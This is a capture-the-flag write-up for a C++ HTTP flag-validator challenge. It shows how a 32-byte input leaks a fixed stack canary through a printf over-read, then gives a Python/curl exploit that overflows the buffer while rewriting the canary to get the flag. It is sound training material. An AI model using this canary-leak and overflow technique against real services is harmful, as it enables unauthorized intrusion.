Канарейка — static canary leak via buffer over-read
Канарейка — static canary leak via buffer over-read
Platform: bug_makers | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-07-01 | Status: Solved Techniques: buffer_over_read, canary_rewrite_bypass, static_canary_leak
Summary
Task: a C++ HTTP flag validator (GET /api/check?flag=) echoes input via printf %s. Solution: at exactly 32 bytes the echo over-reads past a char[32] buffer and leaks a FIXED stack canary (22818c2b); overflowing while re-writing the same canary verbatim bypasses stack-smashing protection and returns the flag.
Канарейка — bug-makers (pwn / web)
Description
Авторы написали «супер-быстрый» бэкенд проверки флага на C++ — первый раз на этом стеке. Говорят, что даже если где-то есть баг переполнения, за ним стоит защита от перезаписи стека (канарейка).
A "super-fast" C++ flag-validation backend exposed over HTTP. The description hints the authors are new to C++, and claims that "even if there is an overflow bug somewhere, there is stack-overwrite protection (a canary) behind it."
- Target:
http://31.207.77.216:4051 - Endpoint:
GET /api/check?flag=<value>(GET only — POST returns405) - Flag format:
BugCTF{...}
The frontend simply forwards the flag query parameter to /api/check and
prints the response text. Normal replies:
Wrong flag: <your input>— echoes the input back (viaprintf %s)Correct flag: <FLAG>— on success
Recon
Fuzzing the input length revealed a sharp boundary at 32 bytes:
n=31: Wrong flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
n=32: Wrong flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA22818c2b
n=33: *** stack smashing detected ***
n=31→ clean echo.n=32→ the echoed input grows by 8 extra characters:22818c2b.n=33→ the process aborts with*** stack smashing detected ***.
Analysis / Findings
The backend logic is approximately:
c read-only • copy allowedchar buf[32]; strcpy(buf, flag); printf("Wrong flag: %s", buf); // over-reads when buf has no NUL terminator
- Buffer over-read leak. At exactly 32 non-null bytes the buffer has no NUL
terminator, so
printf("%s", buf)keeps reading past the buffer into the adjacent stack slot, dumping the next bytes until it hits a NUL. Those bytes are the ASCII string22818c2b. - The leak is a static canary. The value
22818c2bis constant across every request — not a randomized glibc canary, but the authors' fixed, predictable "stack-overwrite protection" sitting right afterbuf[32]. - Overflow guarded by the canary. Writing even one byte past offset 32
corrupts the canary and triggers
*** stack smashing detected ***, which is whyn=33aborts.
So the memory layout is: char buf[32] immediately followed by the static
8-byte canary 22818c2b.
Exploitation
Because the canary is fixed and already leaked, we overflow the buffer while re-writing the same canary value in place. The smashing check then passes, the overflow reaches the success/compare path, and the validator returns the flag.
python read-only • copy allowed#!/usr/bin/env python3 import urllib.parse, subprocess canary = b"22818c2b" payload = b"A" * 32 + canary # 32-byte buffer + identical canary q = urllib.parse.quote(payload) out = subprocess.run( ["curl", "-sS", f"http://31.207.77.216:4051/api/check?flag={q}"], capture_output=True, ).stdout print(out.decode()) # => Correct flag: BugCTF{REDACTED}
Result:
Correct flag: BugCTF{REDACTED}
Any amount of trailing padding after the canary also works — the only requirement is that the 8 canary bytes are written back unchanged.